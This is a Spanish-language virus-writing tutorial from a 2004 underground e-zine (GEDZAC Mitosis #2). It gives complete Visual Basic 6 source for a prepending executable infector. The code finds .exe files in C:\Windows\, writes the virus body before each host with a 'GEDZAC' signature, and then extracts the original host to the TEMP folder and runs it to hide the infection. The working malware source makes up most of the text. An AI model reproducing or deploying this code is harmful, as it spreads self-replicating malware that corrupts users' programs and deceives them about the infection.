(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Infección de ejecutables en VB 6 Autor : Falckon Válido para : Microsoft Visual Basic 6 Fecha : 12/11/03 Nivel : medio - avanzado (no 1337 por favor) Para la Mitosis E-zine GEDZAC #2 y la CUM (Comunidad Underground de México) --------------------------------------------------------------------------------- Este texto está basado en uno que hice hace unos meses, solo que lo he reescrito, ya que el anterior nunca lo terminé y faltaron detalles, espero que este sea más entendible, cabe destacar que yo no escribo artículos, así que me cuesta trabajo realizar el siguiente, espero ser lo mas entendible posible y si no me entienden, deberán estudiar los códigos creo que eso lo entenderán mejor, más que mi explicación china ;-). - Introducción: El método que aquí voy a exponer se trata de infectar ejecutables por el método prepending, para lo cual tu virus se le denominaría "HLLP" (para los que no lo sepan) esto de los términos lo expondré después, para darnos una idea de como es este método, e aquí un ejemplo para que lo entiendas: [-------------] [-------------] Virus Virus [-------------> Host [----------------> [-------------] [-------------] [-------------] Host [-------------] Un virus prepending mueve los bits y bytes del host hacia al final posicionando en primer lugar los bits y bytes suyos, así pues el virus toma el control de todo el host, ejecutandose primero. * Empezando a programar - Determinar la ubicación de nuestro virus Nuestra primera tarea será determinar el lugar donde se ubica nuestro virus: Private Function guorm() Dim lugar As String lugar = App.Path If Right(lugar, 1) = "\" Then guorm = lugar + App.EXEName + ".exe" Else guorm = lugar + "\" + App.EXEName + ".exe" End If End Function De seguro entenderás el código, no habrá necesidad de explicarlo. - Busqueda de archivos ejecutables Ahora como todo buen virus nos dedicaremos a buscar ejecutables con la siguiente función que será llamada desde el código del virus, la llamaremos pasándole una carpeta, la cual nos devolverá una variable con todos los ejecutables separados por el siguiente signo:"|" (sin comillas): Private Function buscando(carpeta As String) As String Dim cr As String, cx As String cr = Dir$(carpeta + "*.exe") While cr <> "" cx = cx & cr & "|" cr = Dir$ Wend buscando = cx End Function - Infectando ejecutables Nuestro siguiente paso será infectar los archivos que hayamos sacado con la función anterior, esta función la llamaremos de la siguiente forma: Call infectando Folder, archivo Donde Folder es la carpeta la cual anteriormente elegimos para extraer archivos, después pondremos ahí el nombre del ejecutable. Sub infectando(carpeta As String, exejodido) On Error Resume Next If carpeta <> "" And exejodido <> "" Then Dim host As String Dim firma As String firma = "GEDZAC" '<-------------------firma del virus Open carpeta + exejodido For Binary Access Read As #1 host = Space(LOF(1)) Get #1, , host Close #1 If InStr(host, firma) = 0 Then Dim virus As String Open guorm For Binary Access Read As #2 virus = Space(24576) '<----Tamaño en Bytes del virus, ver propiedades del ejecutable para sacarlo Get #2, , virus Close #2 Open carpeta + exejodido For Binary Access Write As #3 Put #3, , virus Put #3, , host Put #3, , firma Close #3 End If End If End Sub Como podemos ver se comprobará primero si las variables carpeta y exejodido contienen algo, seguidamente se establece en una variable la firma que identifi- cará a la especie para no volver a infectar un mismo ejecutable, procedemos a abrir el archivo en modo binario solo para leerlo, después comprobamos si este contiene la firma y si nos da 0 procederemos a abrir el ejecutable desde el cual nos encontramos, para eso llamamos la función guorm, después especificaremos el tamaño del virus el cual leeremos, una vez que nos tengamos leídos procederemos a volver a abrir el archivo encontrado, el cual le escribiremos primeramente la variable que contiene el virus, seguido del host y la firma, la estructura de nuestro nuevo ejecutable deberá quedar de esta forma: [Virus] [ HOST] [FIRMA] (si no me e explicado bien es mejor que estudies el código para comprender) - Regenerando el host Cabe mencionar que hasta aquí vamos bien, pero... muchas personas piensan que uniendo un ejecutable con otro, los dos se ejecutan, pero esto es falso, siempre el que esté de primero será ejecutado, el otro no, así que tenemos que buscar la forma de pasar el control al host para así no dar sospechas al usuario de que a ejecutado un virus (recuerdo esto es solo una introducción y aquí no manejamos API's para la identificación de las ventanas y así eliminar el archivo cuando es cerrado etc.) El siguiente Sub regenerará el archivo previamente infectado, ósea le pasa el control. Sub regenerando(ejecutable) Dim host2 As String Dim virs As String Open ejecutable For Binary Access Read As #1 virs = Space(24576) '<- tamaño en bytes del virus, para sacarlo compilar 'el ejecutable y ver en propiedades host2 = Space(LOF(1) - 24576)'<--- le restamos el tamaño del virus a todo el host 'para que nos quede solo el ejecutable Get #1, , virs Get #1, , host2 Close #1 Dim xx, fso As Object Randomize xx = Int(Rnd * 100000) Set fso = CreateObject("Scripting.FileSystemObject") Open fso.GetSpecialFolder(2) & "\" & xx & ".exe" For Binary Access Write As #2 Put #2, , host2 Close #2 Dim aa aa = Shell(fso.GetSpecialFolder(2) & "\" & xx & ".exe") End Sub Lo primero que haremos será abrir nuestro exe y leer el host, randomizamos un numero aleatoria mente, llamamos al objeto FSO para sacar el directorio TEMP, creamos ahí un archivo binario nuevo y le escribimos lo previamente leído, por ultimo lo ejecutamos. - Finalizando - instrucciones imprescindibles para el correcto funcionamiento del virus Las siguientes subs serán imprescindibles para el funcionamiento de nuestro bebé, lo siguiente irá colocado en el sub form_load: Dim comp As String Open guorm For Binary Access Read As #1 comp = Space(LOF(1)) Get #1, , comp Close #1 If InStr(comp, "GEDZAC") <> 0 Then regenerando (guorm) End if comprobamos si estamos infectados, si es así llamamos al sub regenerando y empezamos el proceso ya explicado antes. Ahora bien esto no es todo : Dim xd, xa, carpeti As String carpeti = "C:\Windows\" '<-------- carpeta donde buscaremos los archivos para infectar xd = Split(buscando(carpeti), "|") For Each xa In xd infectando carpeti, xa Next después de colocar el código anterior debajo colocaremos este, el cual buscará en una carpeta especificada los archivos que vamos a infectar, luego los coloca en una variable dimensional (Array) procediendo a realizar un for each para extraerlas y llamar al sub que infectará nuestros exe's y esto es todo - Términos (para los que no estén enterados) HLLO = Hight Level Lenguage OverWriting : Virus que sobrescriben archivos para infectarlos HLLA = Hight Level Lenguage Appending : Virus que infectan archivos pegándose al final del host HLLP = Hight Level Lenguage Prepending : Virus que infectan archivos pegándose al principio del host - Despedida Ya se acabó, esto es una introducción, agradezco las criticas y comentarios tanto del código como mi forma de redactar este articulo, ya que no soy un experto :), agradecimientos especiales para: Alcopaul (estudié varios de tus codes y te lo agradezco :) Taer (Por una CUM cada día mejor) MachineD (aprendí mucho de usted, gracias espero algún día volver a verte) M*b3l (a tí mas que nada que te quiero :) ) GEDZAC (por poder estar y llevar el grupo a la cima, animo vamos a salir adelante!) y a quien mas puedo agradecer? a ti, por tomarte la molestia de leer esto, espero sea de tu agrado y si no ps ya no queda más que decir. Hasta la próxima ya con un mejor artículo y una mejor redacción ;-) se los prometo. (C) MITOSIS #2 E-Zine/GEDZAC 2004